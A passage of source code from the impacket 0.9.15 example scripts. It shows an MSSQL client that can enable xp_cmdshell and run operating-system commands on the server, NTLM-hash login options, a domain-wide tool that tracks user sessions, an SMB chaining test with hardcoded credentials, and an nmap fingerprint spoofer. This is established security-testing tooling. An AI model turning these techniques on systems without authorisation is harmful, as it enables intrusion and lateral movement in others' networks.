re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") lookup = LSALookupSid(username, password, domain, options.protocol, options.hashes, options.maxRid) try: lookup.dump(address) except: pass impacket-0.9.15/examples/loopchain.py0000700000076500000000000000376212734531507017626 0ustar betowheel00000000000000import time from impacket.examples import logger from impacket import smb class lotsSMB(smb.SMB): def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1): pkt = smb.NewSMBPacket() pkt['Flags1'] = 0x18 pkt['Flags2'] = 0 pkt['Tid'] = tid writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) pkt.addCommand(writeAndX) writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters() writeAndX['Parameters']['Fid'] = fid writeAndX['Parameters']['Offset'] = offset writeAndX['Parameters']['WriteMode'] = 0 writeAndX['Parameters']['Remaining'] = len(data) writeAndX['Parameters']['DataLength'] = len(data) writeAndX['Parameters']['DataOffset'] = len(pkt) writeAndX['Data'] = data+('A'*4000) saved_offset = len(pkt) writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX) pkt.addCommand(writeAndX2) writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters() writeAndX2['Parameters']['Fid'] = fid writeAndX2['Parameters']['Offset'] = offset writeAndX2['Parameters']['WriteMode'] = 0 writeAndX2['Parameters']['Remaining'] = len(data) writeAndX2['Parameters']['DataLength'] = len(data) writeAndX2['Parameters']['DataOffset'] = len(pkt) writeAndX2['Data'] = '\n' writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX writeAndX2['Parameters']['AndXOffset'] = saved_offset self.sendSMB(pkt) if wait_answer: pkt = self.recvSMB() if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX): return pkt return None # Init the example's logger theme logger.init() s = lotsSMB('*SMBSERVER','192.168.1.1') s.login('Administrator','pasword') tid = s.tree_connect(r'\\*SMBSERVER\IPC$') fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0] s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0) time.sleep(2) s.close(tid,fid) impacket-0.9.15/examples/mssqlclient.py0000700000076500000000000001404712734531507020206 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: [MS-TDS] & [MC-SQLR] example. # # Author: # Alberto Solino (beto@coresecurity.com/@agsolino) # # Reference for: # Structure # import argparse import sys import string import os import logging from impacket.examples import logger from impacket import version, tds if __name__ == '__main__': import cmd class SQLSHELL(cmd.Cmd): def __init__(self, SQL): cmd.Cmd.__init__(self) self.sql = SQL self.prompt = 'SQL> ' self.intro = '[!] Press help for extra shell commands' def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell ! {cmd} - executes a local shell cmd """ def do_shell(self, s): os.system(s) def do_xp_cmdshell(self, s): try: self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) self.sql.printReplies() self.sql.colMeta[0]['TypeData'] = 80*2 self.sql.printRows() except: pass def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) def do_enable_xp_cmdshell(self, line): try: self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") self.sql.printReplies() self.sql.printRows() except: pass def do_disable_xp_cmdshell(self, line): try: self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") self.sql.printReplies() self.sql.printRows() except: pass def default(self, line): try: self.sql.sql_query(line) self.sql.printReplies() self.sql.printRows() except: pass def emptyline(self): pass def do_exit(self, line): return True # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)') parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows Authentication (default False)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True ms_sql = tds.MSSQL(address, string.atoi(options.port)) ms_sql.connect() try: if options.k is True: res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, kdcHost=options.dc_ip) else: res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) ms_sql.printReplies() except Exception, e: logging.error(str(e)) res = False if res is True: shell = SQLSHELL(ms_sql) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "SQL> %s" % line, shell.onecmd(line) ms_sql.disconnect() impacket-0.9.15/examples/mssqlinstance.py0000700000076500000000000000257312734531507020535 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: [MC-SQLR] example. Retrieves the instances names from the target host # # Author: # Alberto Solino (@agsolino) # # Reference for: # Structure # import argparse import sys import string import logging from impacket.examples import logger from impacket import version, tds if __name__ == '__main__': print version.BANNER # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") parser.add_argument('host', action='store', help='target host') parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() ms_sql = tds.MSSQL(options.host) instances = ms_sql.getInstances(string.atoi(options.timeout)) if len(instances) == 0: "No MSSQL Instances found" else: for i, instance in enumerate(instances): logging.info("Instance %d" % i) for key in instance.keys(): print key + ":" + instance[key] impacket-0.9.15/examples/netview.py0000700000076500000000000005256412734531507017337 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: # beto (@agsolino) # # Description: # The idea of this script is to get a list of the sessions # opened at the remote hosts and keep track of them. # Coincidentally @mubix did something similar a few years # ago so credit goes to him (and the script's name ;)). # Check it out at https://github.com/mubix/netview # The main difference with our approach is we keep # looping over the hosts found and keep track of who logged # in/out from remote servers. Plus, we keep the connections # with the target systems and just send a few DCE-RPC packets. # # One VERY IMPORTANT thing is: # # YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS # NAMES. That's usually solved by setting your DNS to the # domain DNS (and the right search domain). # # Some examples of usage are: # # netview.py -target 192.168.1.10 beto # # This will show the sessions on 192.168.1.10 and will authenticate as 'beto' # (password will be prompted) # # netview.py FREEFLY.NET/beto # # This will download all machines from FREEFLY.NET, authenticated as 'beto' # and will gather the session information for those machines that appear # to be up. There is a background thread checking aliveness of the targets # at all times. # # netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto # # This will download all machines from FREEFLY.NET, authenticating using # Kerberos (that's why -dc-ip parameter is needed), and filter # the output based on the list of users specified in /tmp/users file. # # import sys import argparse import logging import socket from threading import Thread, Event from Queue import Queue from time import sleep from impacket.examples import logger from impacket import version from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, wkst, srvs, samr from impacket.dcerpc.v5.ndr import NULL from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.nt_errors import STATUS_MORE_ENTRIES machinesAliveQueue = Queue() machinesDownQueue = Queue() myIP = None def checkMachines(machines, stopEvent, singlePass=False): origLen = len(machines) deadMachines = machines done = False while not done: if stopEvent.is_set(): done = True break for machine in deadMachines: s = socket.socket() try: s = socket.create_connection((machine, 445), 2) global myIP myIP = s.getsockname()[0] s.close() machinesAliveQueue.put(machine) except Exception, e: logging.debug('%s: not alive (%s)' % (machine, e)) pass else: logging.debug('%s: alive!' % machine) deadMachines.remove(machine) if stopEvent.is_set(): done = True break logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen)) if singlePass is True: done = True if not done: sleep(10) # Do we have some new deadMachines to add? while machinesDownQueue.empty() is False: deadMachines.append(machinesDownQueue.get()) class USERENUM: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = options.dc_ip self.__options = options self.__machinesList = list() self.__targets = dict() self.__filterUsers = None self.__targetsThreadEvent = None self.__targetsThread = None self.__maxConnections = int(options.max_connections) if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getDomainMachines(self): if self.__kdcHost is not None: domainController = self.__kdcHost elif self.__domain is not '': domainController = self.__domain else: raise Exception('A domain is needed!') logging.info('Getting machine\'s list from %s' % domainController) rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos=self.__doKerberos, kdcHost = self.__kdcHost) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] logging.info("Looking up users in domain %s" % domains[0]['Name']) resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT, enumerationContext=enumerationContext) except DCERPCException, e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: self.__machinesList.append(user['Name'][:-1]) logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId'])) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except Exception, e: raise e dce.disconnect() def getTargets(self): logging.info('Importing targets') if self.__options.target is None and self.__options.targets is None: # We need to download the list of machines from the domain self.getDomainMachines() elif self.__options.targets is not None: for line in self.__options.targets.readlines(): self.__machinesList.append(line.strip(' \r\n')) else: # Just a single machine self.__machinesList.append(self.__options.target) logging.info("Got %d machines" % len(self.__machinesList)) def filterUsers(self): if self.__options.user is not None: self.__filterUsers = list() self.__filterUsers.append(self.__options.user) elif self.__options.users is not None: # Grab users list from a file self.__filterUsers = list() for line in self.__options.users.readlines(): self.__filterUsers.append(line.strip(' \r\n')) else: self.__filterUsers = None def run(self): self.getTargets() self.filterUsers() #self.filterGroups() # Up to here we should have figured out the scope of our work self.__targetsThreadEvent = Event() if self.__options.noloop is False: # Start a separate thread checking the targets that are up self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent)) self.__targetsThread.start() else: # Since it's gonna be a one shoot test, we need to wait till it finishes checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True) while True: # Do we have more machines to add? while machinesAliveQueue.empty() is False: machine = machinesAliveQueue.get() logging.debug('Adding %s to the up list' % machine) self.__targets[machine] = {} self.__targets[machine]['SRVS'] = None self.__targets[machine]['WKST'] = None self.__targets[machine]['Admin'] = True self.__targets[machine]['Sessions'] = list() self.__targets[machine]['LoggedIn'] = set() for target in self.__targets.keys(): try: self.getSessions(target) self.getLoggedIn(target) except (SessionError, DCERPCException), e: # We will silently pass these ones, might be issues with Kerberos, or DCE if str(e).find('LOGON_FAILURE') >=0: # For some reason our credentials don't work there, # taking it out from the list. logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target) del(self.__targets[target]) elif str(e).find('INVALID_PARAMETER') >=0: del(self.__targets[target]) elif str(e).find('access_denied') >=0: # Can't access the target RPC call, most probably a Unix host # taking it out from the list del(self.__targets[target]) else: logging.info(str(e)) pass except KeyboardInterrupt: raise except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('timed out') >=0: # Most probably this site went down. taking it out # ToDo: add it back to the list of machines to check in # the separate thread - DONE del(self.__targets[target]) machinesDownQueue.put(target) else: # These ones we will report logging.error(e) pass if self.__options.noloop is True: break logging.debug('Sleeping for %s seconds' % self.__options.delay) logging.debug('Currently monitoring %d active targets' % len(self.__targets)) sleep(int(self.__options.delay)) def getSessions(self, target): if self.__targets[target]['SRVS'] is None: stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding) if hasattr(rpctransportSrvs, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpctransportSrvs.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) self.__maxConnections -= 1 else: dce = self.__targets[target]['SRVS'] try: resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) except Exception, e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['SRVS'] = None self.__maxConnections += 1 return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['SRVS'] = dce # Let's see who createad a connection since last check tmpSession = list() printCRLF = False for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: userName = session['sesi10_username'][:-1] sourceIP = session['sesi10_cname'][:-1][2:] key = '%s\x01%s' % (userName, sourceIP) myEntry = '%s\x01%s' % (self.__username, myIP) tmpSession.append(key) if not(key in self.__targets[target]['Sessions']): # Skipping myself if key != myEntry: self.__targets[target]['Sessions'].append(key) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print "%s: user %s logged from host %s - active: %d, idle: %d" % ( target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) printCRLF = True else: print "%s: user %s logged from host %s - active: %d, idle: %d" % ( target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) printCRLF = True # Let's see who deleted a connection since last check for nItem, session in enumerate(self.__targets[target]['Sessions']): userName, sourceIP = session.split('\x01') if session not in tmpSession: del(self.__targets[target]['Sessions'][nItem]) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print "%s: user %s logged off from host %s" % (target, userName, sourceIP) printCRLF=True else: print "%s: user %s logged off from host %s" % (target, userName, sourceIP) printCRLF=True if printCRLF is True: print def getLoggedIn(self, target): if self.__targets[target]['Admin'] is False: return if self.__targets[target]['WKST'] is None: stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding) if hasattr(rpctransportWkst, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpctransportWkst.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) self.__maxConnections -= 1 else: dce = self.__targets[target]['WKST'] try: resp = wkst.hNetrWkstaUserEnum(dce,1) except Exception, e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['WKST'] = None self.__maxConnections += 1 return elif str(e).upper().find('ACCESS_DENIED'): # We're not admin, bye dce.disconnect() self.__maxConnections += 1 self.__targets[target]['Admin'] = False return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['WKST'] = dce # Let's see who looged in locally since last check tmpLoggedUsers = set() printCRLF = False for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: userName = session['wkui1_username'][:-1] logonDomain = session['wkui1_logon_domain'][:-1] key = '%s\x01%s' % (userName, logonDomain) tmpLoggedUsers.add(key) if not(key in self.__targets[target]['LoggedIn']): self.__targets[target]['LoggedIn'].add(key) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) printCRLF=True else: print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) printCRLF=True # Let's see who logged out since last check for session in self.__targets[target]['LoggedIn'].copy(): userName, logonDomain = session.split('\x01') if session not in tmpLoggedUsers: self.__targets[target]['LoggedIn'].remove(session) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) printCRLF=True else: print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) printCRLF=True if printCRLF is True: print def stop(self): if self.__targetsThreadEvent is not None: self.__targetsThreadEvent.set() # Process command-line arguments. if __name__ == '__main__': print version.BANNER # Init the example's logger theme logger.init() parser = argparse.ArgumentParser() parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-user', action='store', help='Filter output by this user') parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for') #parser.add_argument('-group', action='store', help='Filter output by members of this group') #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file') parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will run in domain mode.') parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info from (one per line). If not specified script will run in domain mode.') parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe') parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe (default 10 seconds)') parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep opened (default 1000)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups( '') try: if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options) executer.run() except Exception, e: #import traceback #print traceback.print_exc() logging.error(e) executer.stop() except KeyboardInterrupt: logging.info('Quitting.. please wait') executer.stop() sys.exit(0) impacket-0.9.15/examples/nmapAnswerMachine.py0000700000076500000000000010711612734531507021250 0ustar betowheel00000000000000import random import os_ident import uncrc32 try: import pcap as pcapy except: import pcapy from impacket import ImpactPacket from impacket import ImpactDecoder from impacket.ImpactPacket import TCPOption from impacket.examples import logger #defaults MAC = "01:02:03:04:05:06" IP = "192.168.67.254" IFACE = "eth0" OPEN_TCP_PORTS = [80, 443] OPEN_UDP_PORTS = [111] UDP_CMD_PORT = 12345 nmapOSDB = '/usr/share/nmap/nmap-os-db' # Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!! # Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S # Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38) # Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y) Fingerprint = 'Sun Solaris 10 (SPARC)' # Fingerprint = 'Sun Solaris 9 (x86)' # Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router' # TI=Z DFI=N !SS TI=Z II=I # Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD # no TI=Hex # Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI # Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output # Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S # Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164) # Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O) # Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N) # Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S O_ETH = 0 O_IP = 1 O_ARP = 1 O_UDP = 2 O_TCP = 2 O_ICMP = 2 O_UDP_DATA = 3 O_ICMP_DATA = 3 def string2tuple(string): if string.find(':') >= 0: return [int(x) for x in string.split(':')] else: return [int(x) for x in string.split('.')] class Responder: templateClass = None signatureName = None def __init__(self, machine): self.machine = machine print "Initializing %s" % self.__class__.__name__ self.initTemplate() self.initFingerprint() def initTemplate(self): if not self.templateClass: self.template_onion = None else: try: probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0]) except: probe = self.templateClass(0, ['0.0.0.0',self.getIP()]) self.template_onion = [probe.get_packet()] try: while 1: self.template_onion.append(self.template_onion[-1].child()) except: pass # print "Template: %s" % self.template_onion[O_ETH] # print "Options: %r" % self.template_onion[O_TCP].get_padded_options() # print "Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags() def initFingerprint(self): if not self.signatureName: self.fingerprint = None else: self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy() def isMine(self, in_onion): return False def buildAnswer(self, in_onion): return None def sendAnswer(self, out_onion): self.machine.sendPacket(out_onion) def process(self, in_onion): if not self.isMine(in_onion): return False print "Got packet for %s" % self.__class__.__name__ out_onion = self.buildAnswer(in_onion) if out_onion: self.sendAnswer(out_onion) return True def getIP(self): return self.machine.ipAddress # Generic Responders (does the word Responder exist?) class ARPResponder(Responder): def isMine(self, in_onion): if len(in_onion) < 2: return False if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype: return False return ( in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress)) def buildAnswer(self, in_onion): eth = ImpactPacket.Ethernet() arp = ImpactPacket.ARP() eth.contains(arp) arp.set_ar_hrd(1) # Hardward type Ethernet arp.set_ar_pro(0x800) # IP arp.set_ar_op(2) # REPLY arp.set_ar_hln(6) arp.set_ar_pln(4) arp.set_ar_sha(string2tuple(self.machine.macAddress)) arp.set_ar_spa(string2tuple(self.machine.ipAddress)) arp.set_ar_tha(in_onion[O_ARP].get_ar_sha()) arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa()) eth.set_ether_shost(arp.get_ar_sha()) eth.set_ether_dhost(arp.get_ar_tha()) return [eth, arp] class IPResponder(Responder): def buildAnswer(self, in_onion): eth = ImpactPacket.Ethernet() ip = ImpactPacket.IP() eth.contains(ip) eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost()) eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost()) ip.set_ip_src(in_onion[O_IP].get_ip_dst()) ip.set_ip_dst(in_onion[O_IP].get_ip_src()) ip.set_ip_id(self.machine.getIPID()) return [eth, ip] def sameIPFlags(self, in_onion): if not self.template_onion: return True return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000) def isMine(self, in_onion): if len(in_onion) < 2: return False return ( (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and self.sameIPFlags(in_onion) ) def setTTLFromFingerprint(self, out_onion): f = self.fingerprint # Test T: Initial TTL = range_low-range_hi, base 16 # Assumption: we are using the minimum in the TTL range try: ttl = f['T'].split('-') ttl = int(ttl[0], 16) except: ttl = 0x7f # Test TG: Initial TTL Guess. It's just a number, we prefer this try: ttl = int(f['TG'], 16) except: pass out_onion[O_IP].set_ip_ttl(ttl) class ICMPResponder(IPResponder): def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) return out_onion def isMine(self, in_onion): if not IPResponder.isMine(self, in_onion): return False if len(in_onion) < 3: return False return ( (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and self.sameICMPTemplate(in_onion)) def sameICMPTemplate(self, in_onion): t_ip = self.template_onion[O_IP] t_icmp = self.template_onion[O_ICMP] t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size() return ( (t_ip.get_ip_tos() == in_onion[O_IP].get_ip_tos()) and (t_ip.get_ip_df() == in_onion[O_IP].get_ip_df()) and (t_icmp.get_icmp_type() == in_onion[O_ICMP].get_icmp_type()) and (t_icmp.get_icmp_code() == in_onion[O_ICMP].get_icmp_code()) and (t_icmp_datalen == in_onion[O_ICMP_DATA].get_size()) ) class UDPResponder(IPResponder): def isMine(self, in_onion): return ( IPResponder.isMine(self, in_onion) and (len(in_onion) >= 3) and (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol) ) class OpenUDPResponder(UDPResponder): def isMine(self, in_onion): return ( UDPResponder.isMine(self, in_onion) and self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) udp = ImpactPacket.UDP() out_onion[O_IP].contains(udp) out_onion.append(udp) udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) return out_onion class ClosedUDPResponder(UDPResponder): def isMine(self, in_onion): return ( UDPResponder.isMine(self, in_onion) and not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.contains(in_onion[O_IP]) out_onion += in_onion[O_IP:] icmp.set_icmp_type(icmp.ICMP_UNREACH) icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) return out_onion class TCPResponder(IPResponder): def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) tcp = ImpactPacket.TCP() out_onion[O_IP].contains(tcp) out_onion.append(tcp) tcp.set_th_dport(in_onion[O_TCP].get_th_sport()) tcp.set_th_sport(in_onion[O_TCP].get_th_dport()) return out_onion def sameTCPFlags(self, in_onion): if not self.template_onion: return True in_flags = in_onion[O_TCP].get_th_flags() & 0xfff t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff return in_flags == t_flags def sameTCPOptions(self, in_onion): if not self.template_onion: return True in_options = in_onion[O_TCP].get_padded_options() t_options = self.template_onion[O_TCP].get_padded_options() return in_options == t_options def isMine(self, in_onion): if not IPResponder.isMine(self, in_onion): return False if len(in_onion) < 3: return False return ( in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and self.sameTCPFlags(in_onion) and self.sameTCPOptions(in_onion) ) class OpenTCPResponder(TCPResponder): def isMine(self, in_onion): return ( TCPResponder.isMine(self, in_onion) and in_onion[O_TCP].get_SYN() and self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) def buildAnswer(self, in_onion): out_onion = TCPResponder.buildAnswer(self, in_onion) out_onion[O_TCP].set_SYN() 